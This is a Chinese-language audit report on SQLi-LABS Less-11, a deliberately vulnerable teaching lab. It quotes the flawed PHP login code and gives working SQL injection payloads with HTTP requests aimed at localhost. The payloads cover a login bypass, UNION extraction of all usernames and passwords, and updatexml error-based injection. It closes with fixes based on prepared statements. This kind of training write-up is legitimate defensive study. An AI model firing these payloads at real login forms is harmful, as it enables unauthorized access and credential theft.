Less-11 代码审计报告:POST 登录注入(单引号,报错回显)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-11/index.php 实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-11/index.php

// 第 44-47 行:POST 参数直接取值,未过滤
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

// 第 57 行:两个参数均拼接进 WHERE
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);

// 第 61-80 行:登录成功回显 username/password
if($row)
{
  ...
  echo 'Your Login name:'. $row['username'];
  echo 'Your Password:' .$row['password'];
  ...
}
// 第 81-91 行:失败回显 mysql_error()
else  
{
echo '<font color= "#0000ff" font size="3">';
print_r(mysql_error());       ← 第 85 行

关键漏洞点:

• 第 46 行:$uname=$_POST['uname']; 未过滤。
• 第 47 行:$passwd=$_POST['passwd']; 未过滤。
• 第 57 行:WHERE username='$uname' and password='$passwd' 双参数拼接。
• 第 85 行:print_r(mysql_error()); 回显错误。

3. 漏洞分析

• 输入来源:$_POST['uname'] / $_POST['passwd'],均未过滤。
• SQL 拼接位置:WHERE username='$uname' and password='$passwd'。
• 闭合方式:单引号 '。
• 攻击面:
  1. 认证绕过:用 admin'-- - 注释掉 and password=...,无需密码即可登录;
  2. 联合查询:由于登录成功会回显 username/password,可 UNION SELECT 提取数据;
  3. 报错注入:第 85 行回显 mysql_error()。
• 防护情况:无过滤、无参数化。

4. 利用方式

步骤一:认证绕过

uname = admin'-- -
passwd = xxx(任意)

预期结果:SQL 变为 WHERE username='admin'-- -' and password=...,注释掉后半段,成功登录。

步骤二:联合查询(利用回显)

uname = ' union select 1,database(),3-- -
passwd = 1

预期结果:SQL 变为 WHERE username='' union select 1,database(),3-- -'...,页面回显 Your Login name: security(database() 结果在 username 回显位)。

步骤三:报错注入提取更多数据

-- 利用 uname 参数报错注入
uname = ' AND updatexml(1,concat(0x7e,(select database())),1)-- -
passwd = 1
-- 爆表名
uname = ' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)-- -
passwd = 1

步骤四:数据提取

-- 爆所有用户名密码
uname = ' union select group_concat(username),group_concat(password),3 from users-- -
passwd = 1

预期结果:页面回显全部用户名与密码。

5. Yakit 重放数据包

POST /sqli-labs/Less-11/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: close

uname=admin%27--%20-&passwd=123&submit=Submit

认证绕过报文(admin 免密登录):

POST /sqli-labs/Less-11/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: close

uname=admin%27--%20-&passwd=123&submit=Submit

联合查询报文:

POST /sqli-labs/Less-11/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close

uname=%27%20union%20select%201,database(),3--%20-&passwd=1&submit=Submit

报错注入报文:

POST /sqli-labs/Less-11/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Connection: close

uname=%27%20AND%20updatexml(1,concat(0x7e,(select%20database())),1)--%20-&passwd=1&submit=Submit

说明:%27='、%20=空格、--%20-=-- -、(select%20database()) 空格已编码。

6. 修复建议

修复一(首选):PDO 预处理语句(双参数)

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT username, password FROM users WHERE username = :uname AND password = :passwd LIMIT 0,1");
$stmt->bindValue(':uname', $uname, PDO::PARAM_STR);
$stmt->bindValue(':passwd', $passwd, PDO::PARAM_STR);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT username, password FROM users WHERE username = ? AND password = ? LIMIT 0,1");
$stmt->bind_param('ss', $uname, $passwd);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

• 登录成功后建议使用 password_hash()/password_verify() 校验密码,不直接明文比对。
• 关闭 display_errors,删除第 85 行 print_r(mysql_error()),错误写日志。
• 数据库账号最小权限;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。